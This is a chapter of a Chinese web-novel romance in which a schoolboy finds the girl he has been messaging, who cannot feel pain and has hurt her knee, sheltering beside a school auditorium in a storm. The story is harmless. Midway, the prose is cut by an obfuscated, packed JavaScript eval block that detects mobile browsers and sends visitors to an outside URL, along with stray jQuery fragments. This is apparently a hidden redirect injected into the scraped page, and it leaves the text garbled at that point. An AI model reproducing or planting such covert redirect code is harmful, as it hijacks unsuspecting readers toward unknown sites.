雷暴雨把四点多的天拉入了乌黑的夜,风雨吹得路上银杏沙沙作响,尽管是下课时间但是校园长道一个人都没有,宛若是深夜。
鸦雀无声时又突兀地响雷,让人不免害怕。
秦译撑着伞一路从高一教学楼穿过操场,篮球场,拐了几个弯终于在前往学校后门的道路上。
路上他重新安装软件后给虞菡发消息,可一直没回音。
雨水滚滚地从伞面扑下,天气阴冷,仿佛从三月又倒回开春。
他边走边四处看,在漆黑模糊的天色下搜寻着什么。
忽然手机振动。
Yuerhan:“呜呜呜你没事了吗?我刚刚手机摔了下,不太好用,才看到你的消息。”
秦译马上站停回复:“你在哪儿菡菡,出去了吗?你摔了吗?”
Yuerhan:“嗯嗯嗯,我出来了。我没事,只是手机掉了。你呢,你怎么可以给我发消息。”
Qiny:“我不去见那老东西。你在哪儿?我去找你。”
Yuerhan:“呜呜不要,这样会不会被开除啊QAQ?”
Qiny:“他开除不了我,我什么成绩你知道的,他做白日梦。别管他。”
虞菡松了一口气。
秦译问:“你在哪儿?”
她好几秒没发过来,最后才说:“我在地铁了,你去上课吧。”
秦译不太相信她说的,怎么会没有等他见面就坐地铁了。
“真的吗?下雨了你有没有淋到雨?”
Yuerhan:“没有没有。呜呜我连累你了,我以后不来了TAT,对不起你。”
通往后门的道上一侧种着一片繁密的竹子,雨水在竹叶上敲击,仿佛雨势加大。
秦译站在路边,看着手机在雨丝中隐隐约约的字,蹙眉。
Qiny:“对不起菡菡,对不起,让你挨骂了。我现在出去,你找个站等我。”
Yuerhan:“不要不要,你不要出来了,我不该来找你的,悲伤.jpg。”
Qiny:“没有。你现在要去哪儿?我没关系的可以出去,我不在教室里。”
Yuerhan:“不要了呜。”
Qiny:“为什么?你告诉我你在哪儿。”
Yuerhan:“因为,好像见不了一会儿了QAQ,我晚上的航班因为天气取消了,我改签了前面两个小时的,我差不多得去机场了。”
秦译眉头紧锁,站在风雨中静静看着消息。
回过神来,他摁着被雨丝扑满的屏幕:“那我送你去机场,菡菡。你专门回来找我的,我们还没见呢,我送你去,别担心不会误机的。”
Yuerhan:“我觉得…不见也挺好的。”
秦译愣住。
Yuerhan:“见了我下次还会想来找你的,不见就不会了。本来你就不同意我回来,我非要回来,还拖累了你,至少肯定要挨骂,我以后不找你了,就不会有事了。”
Yuerhan:“我手机摔了,屏幕有点问题刚刚一直看不了,我爸爸给我打电话接不了,他就一直打。他联系不上我很担心,我觉得我就是太任性了,你不让我回来,我还非要回来,这样爸爸妈妈担心,你也担心,还要专门请假陪我。”
Yuerhan:“我以后不回来了。”
秦译仰头看着满天的风雨,呼吸急促,想要反驳却发现,这就是他的初衷。
人最无力为之的事情就是反驳曾经的自己……
低下头,他打字:“那你自己可以吗,菡菡,你可以自己去机场吗?”
Yuerhan:“我可以的,可以的,你不用担心。”
Qiny:“那好,你自己小心点,有什么事再找我,嗯?没关系的。”
Yuerhan:“好。”
Qiny:“到机场了告诉我。”
她乖乖地每一句都答应了。
收起手机,秦译继续往外走,边走边找。
早前她说要去礼堂等他,但是他在礼堂门口没有找到人,空荡荡的。
难道真的已经出去了?没有骗他?
看了眼手机时间,想着刚刚忘记问她航班是几点的,现在打车去机场不知道能不能见到她……
他离开礼堂正门,快步往学校后门走。
没几步,忽然间停下来,侧眸,看着礼堂侧面的屋檐下有一只小手在接雨。
秦译快速穿过小道跑了过去,穿过入口的树下,几步后站停在礼堂侧面屋檐下,和坐在砖头上抱着膝盖孤孤单单的小公主一高一低,对上眼。
“啊……你怎么在这。”她惊讶。
他问:“你怎么在这。”
异口同声。
虞菡霎时间笑了:“我要出去啦,但是下雨,躲一下。”
秦译胸腔里的话在喉咙口滚了滚,却在看到她膝上摔破了的伤口后,眼神漆黑,生生忍住了。
回来就是受罪,来找他不是拖累他,而是她受罪。
确实不能让她再回来了……他在心里告诉自己。
她说得对,和他见面,她就一定还会忍不住再回来,一定会。
她很清楚自己,他也清楚她对他的依赖,一定会再冒着危险回来的。
“你怎么在这里啊,你不用上课吗?”虞菡好奇道。
秦译:“我……请了假要出去。你怎么没出去呢?拿到手机了?”
“拿到啦,但是我老师给我的纸条落在办公室里了,没有纸条那个保安不给我开门,说我逃课,他要告诉老师,我马上就跑了。”
“……”秦译蹙起深深的眉头,在这乖巧的复述里愧疚得心口难受。
“你的伤,怎么回事?”他撑着伞屈膝,半跪下去。
虞菡眨眨眼,看着忽然近在咫尺的人说:“没事的,就是我刚刚,不小心摔了下。”
摔了下,她明明告诉他只是摔了手机的。
虞菡跟他说:“打了个雷,你听到没有?哇,吓死人了,好像就在眼前炸开一样,我就吓到了没看路,结果踩到路边一块石头,就被绊倒了,跪了下去。”
秦译胸膛此起彼伏,难受得要不行。
他认真看了看她的伤,忘记她的病了,脱口而出:“流血了,疼不疼?”
“我不疼,我没有痛觉的。”
秦译愣住。
虞菡:“哎,我没跟你说过呢,我有CIPA症,没有痛觉的,所以没事。”
秦译深深和她对视,好几秒后,才问:“那你怎么在这里坐着?”
“出不去,但这个礼堂门口会有人路过,会发现我,但侧面这里就没人啦。”
秦译心碎成渣。
虞菡问他:“你们放学的时候,应该会开后门吧。”
“嗯。”
“那就好,那就没事。你走吧,你要回家吗?快去吧。”她托着腮,嗓音很甜很温柔,“好开心,每次都能遇见你。”
“你,”秦译喉结滚动了两下,犹豫,挣扎,“你来找谁?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248480|181811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“那个,上次跟你说过的那个朋友。”
“网恋对象。”
“……”她干笑,“也不是,就是朋友,我们没在一起的,就是关系好。”
“见到了吗。”
“没哎。”她叹息,低下头,“运气不好,两次都没见到。”说着又抬头,“不过我每次都遇见你呢,咱俩有缘分,我也不算白来啊。”
秦译苦笑。
虞菡:“对了,你们学校,抓到谈恋爱,不会……开除吧?”
“不承认就没事了。”
“那要是,证据确凿呢?”
“也不会,记个大过,通报一下。”
虞菡一下子眉头深皱……完了完了,秦译不去找那个老头,那老头不会最后给他直接定罪然后通报吧?
她眉头锁了起来。
“想什么?”秦译问她。
虞菡回神:“哦,哦,没事。你回去吧,不用管我。”
他不答反道:“下次别来了。”
“我知道。”
此刻的语气乖得秦译撑伞的手都握紧了。
“主要是,你身子不是不好吗?一个人,”他慢吞吞地,用很是温柔的语气说,“又很危险,而且,学校里不方便,还有……”
秦译语气心疼无奈,“你又见不到人,你放假时,国内要上学,你要见人太难了。这不是,白跑一趟了吗。”
“没事,反正我放假了也无聊,就当旅游嘛。本来是可以见的,怪我没有马上走,被你们老师逮住了。”
“他骂你了吗?”他紧紧盯着她,“喜欢逮人的那个是年级主任,他是不是骂你了?”
“哇,他骂得可多了。”她可可怜怜道,“他不信我是跟着老师进来的,怼我,我就怼他,然后大概没有学生敢和他对着干吧,他觉得自己的威严被冒犯了,气得吹胡子瞪眼,就把我骂得狗血淋头,说我是不学无术不三不四的社会人士,说我跟不上课男孩子鬼混,影响别人上课。
然后我也骂他,他气得恨不得动手揍我。”
秦译心头突突跳。
灰色风雨幕布下,虞菡看不清少年望向她的眼睛里藏着什么样的情绪。
她自顾自地诉说着自己的小委屈和遭遇:“这人老凶了,跟只老虎似的,老虎都没他凶!他还说我放肆,敢这么跟老师说话。”她不屑地轻哼,“搞笑,他又不是我老师,我的老师才不像他这样呢,跟有病似的。我老师今天还送我礼物了。”
秦译眼神在黑幕中闪了闪,扯起唇角一丝弧度:“对,又不是你老师,我们不用老老实实被骂。他天生脑子有病,一贯这样。我们年级第一犯点事校长都不骂,他骂。我们不用放在心上。”
年级第一?虞菡想说是叫秦译吗?但没好意思。
她笑了起来:“我跑了,我偷偷跑了。他应该要气死了吧。”
秦译由衷道:“你真聪明,聪明得很。他爱气死就气死,管他。”
她甜笑。
黑夜好像因为笑容亮了些。
但是风冷,她头发被风吹起。她岿然不动,只是茫然地看了眼风向。
感知极差的人极寒里不会感觉那么冷,所以此刻只知道起风了,但她没躲。
忽然黑色伞柄推到眼前。虞菡挑眉。
秦译:“你拿一下。”
虞菡握住伞。
接着,雨丝中的少年把手放到自己的校服领口处,捏住拉链头,往下一拉,随之掀开了衣服脱下来。
还没回神,他扬开盖在了她身上。